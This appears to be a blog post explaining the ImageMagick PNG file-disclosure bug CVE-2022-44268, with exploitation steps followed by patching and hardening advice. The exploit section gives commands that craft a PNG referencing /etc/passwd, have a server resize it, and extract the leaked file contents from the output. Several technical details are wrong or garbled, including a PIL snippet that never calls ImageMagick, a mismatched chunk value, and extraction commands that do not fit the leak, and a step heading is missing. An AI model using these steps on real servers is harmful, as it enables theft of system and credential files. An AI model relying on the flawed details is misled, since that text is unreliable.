ImageMagick is a widely used tool for handling images. Web applications use it to resize, crop, and convert photos—think profile picture uploads, thumbnail creation, and more. But sometimes these tools can be tricked, and CVE-2022-44268 is a shocking example.
In this post, we’ll explain simply how this “information disclosure” bug works, how it can be exploited, and what you need to do to stay safe. A real code example is included, so you can see how easy (and dangerous) it is.
Vector: Specially crafted PNG image
A malicious PNG file, when processed (even just resized!) by ImageMagick, can be made to include any other file’s content—like secrets, environment configs, or keys—*inside* the new image output. If your web server handles user images and stores or transmits resized versions, attackers can use this trick to “exfiltrate” hidden files.
The bug abuses how ImageMagick reads PNG “text chunks.” If the attacker inserts a chunk like
Raw profile type exif
000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP
...
and can get ImageMagick to open the image, ImageMagick tries to reference an external profile (data or metadata), and *loads it from disk* if told so. For example: if a PNG includes an instruction like profile:exif=/etc/passwd, ImageMagick will read /etc/passwd (or any file) and embed its content.
When the target server saves or allows download of the processed image, the attacker simply parses out the “profile” or metadata, extracting the stolen file contents.
1. Create a poisoned PNG
You can use pngtext or pngcrush, but here’s a manual example with pngcrush and echo.
Suppose we want ImageMagick to embed /etc/passwd.
echo "profile:exif=/etc/passwd" > instruct.txt
# Use an innocent PNG as base
cp innocent.png evil.png
# Insert the malicious instruction
pngcrush -text a "profile" "exif=/etc/passwd" evil.png evil_payload.png
Now evil_payload.png includes instructions referencing /etc/passwd.
Suppose the server backend does
from PIL import Image
im = Image.open('evil_payload.png')
im = im.resize((128,128))
im.save('output.png')
Or, with raw command line
magick convert evil_payload.png -resize 128x128 output.png
3. Download and Extract Sensitive File from Output
Download output.png from the server (after it’s processed/resized).
Use ImageMagick to extract embedded profiles
magick output.png -format "%[EXIF:*]" info:
Or, dump all image “profiles”
strings output.png | grep -A30 "^ABCDEFGH" # (for a known chunk pattern)
If successful, you’ll see the entire content of /etc/passwd inside the image output.
ImageMagick run as a privileged account can leak sensitive files readable by that user.
- This includes web stacks (PHP, Python, Node, etc.) using shell-out or libraries such as wand, PIL, sharp, etc., if not sandboxed.
How To Fix
- Update Immediately: Fixed in later ImageMagick releases. Changelog
Never run as root: Restrict file permissions for the magick process.
- Filter Uploaded Images: Use libraries or tools that validate/canonize PNGs.
- Consider policy.xml: Use the policy file to restrict reading unwanted files.
Test your service! Upload the exploit file and make sure secrets can’t leak back to users.
References
- CVE-2022-44268 on NIST
- Original Disclosure on HackerOne
- ImageMagick Issue Tracker: exif profile bug
- Exploit writeup by BishopFox
- ImageMagick Changelog
Conclusion
CVE-2022-44268 is a major risk for any server handling images with ImageMagick. It’s a reminder that even harmless-looking images can become vehicles for data leaks.
Patch your systems, and keep your secrets safe!
*© 2024 Exclusive - Rewriting security for all audiences.*
Timeline
Published on: 02/06/2023 21:15:00 UTC
Last modified on: 04/06/2023 17:15:00 UTC